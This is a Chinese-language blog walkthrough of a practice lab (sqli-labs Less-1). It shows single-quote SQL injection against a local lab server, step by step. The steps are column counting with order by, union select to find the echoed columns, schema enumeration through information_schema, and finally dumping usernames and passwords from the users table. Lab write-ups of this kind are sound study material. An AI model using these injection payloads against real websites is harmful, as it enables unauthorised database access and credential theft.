Less-1:单引号字符型 SQL 注入

462 字
2 分钟
Less-1:单引号字符型 SQL 注入

一、正常访问#

Less-1 初始页面
Less-1 初始页面

页面提示需要传入一个 id 参数:

http://192.168.1.17:8082/Less-1/?id=1

传入 id 参数后的页面
传入 id 参数后的页面

接着尝试在参数后面添加单引号,判断是否存在注入点:

http://192.168.1.17:8082/Less-1/?id=1'

单引号触发 SQL 报错
单引号触发 SQL 报错

页面返回 SQL 报错,说明传入的单引号参与了后端 SQL 语句拼接。

SQL 报错信息
SQL 报错信息

后续可以使用 --+ 注释掉后面的 SQL 语句,从而消除多余内容导致的语法错误。

二、判断查询字段数#

使用 order by 逐步判断当前查询语句的字段数:

http://192.168.1.17:8082/Less-1/?id=1' order by 1 --+
http://192.168.1.17:8082/Less-1/?id=1' order by 2 --+
http://192.168.1.17:8082/Less-1/?id=1' order by 3 --+
http://192.168.1.17:8082/Less-1/?id=1' order by 4 --+

order by 4 页面报错时,说明当前查询语句只有 3 个字段。

order by 4 报错
order by 4 报错

确认字段数后,再使用 union select 判断页面的回显位置:

http://192.168.1.17:8082/Less-1/?id=1' and 1=2 union select 1,2,3 --+

union select 判断回显位置
union select 判断回显位置

从页面结果可以看到,第 2 列和第 3 列会回显到页面上。

三、查询数据库信息#

先使用 MySQL 自带的 database() 函数查询当前数据库名:

http://192.168.1.17:8082/Less-1/?id=1' and 1=2 union select 1,2,database() --+

查询当前数据库名
查询当前数据库名

再通过 information_schema.tables 查询 security 数据库中的表名:

http://192.168.1.17:8082/Less-1/?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

这里使用 group_concat() 将多个表名合并到同一列中,方便在页面回显位置查看。

查询 security 数据库中的表名
查询 security 数据库中的表名

接下来以 users 表为例,查询该表中的字段名:

http://192.168.1.17:8082/Less-1/?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

查询 users 表字段名
查询 users 表字段名

可以看到,users 表中有 3 个字段,分别是 idusernamepassword

最后根据字段名查询表中的数据:

http://192.168.1.17:8082/Less-1/?id=1' and 1=2 union select 1,2,group_concat(username,':',password) from users --+

查询 users 表数据
查询 users 表数据

通过页面回显,可以获取 users 表中的用户名和密码数据。

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

Less-1:单引号字符型 SQL 注入
https://ld.ac.cn/posts/less-1-single-quote-sql-injection/
作者
Li
发布于
2026-07-03
许可协议
CC BY-NC-SA 4.0
Profile Image of the Author
Li
技术爱好者 / Tech enthusiast
公告
欢迎来到我的博客!这是一则示例公告。
音乐
封面

音乐

暂未播放

0:00 0:00
暂无歌词
分类
标签
站点统计
文章
6
分类
3
标签
31
总字数
11,007
运行时长
0
最后活动
0 天前
站点信息
构建平台
GitHub Actions
博客版本
Firefly v6.12.3
文章许可
CC BY-NC-SA 4.0

文章目录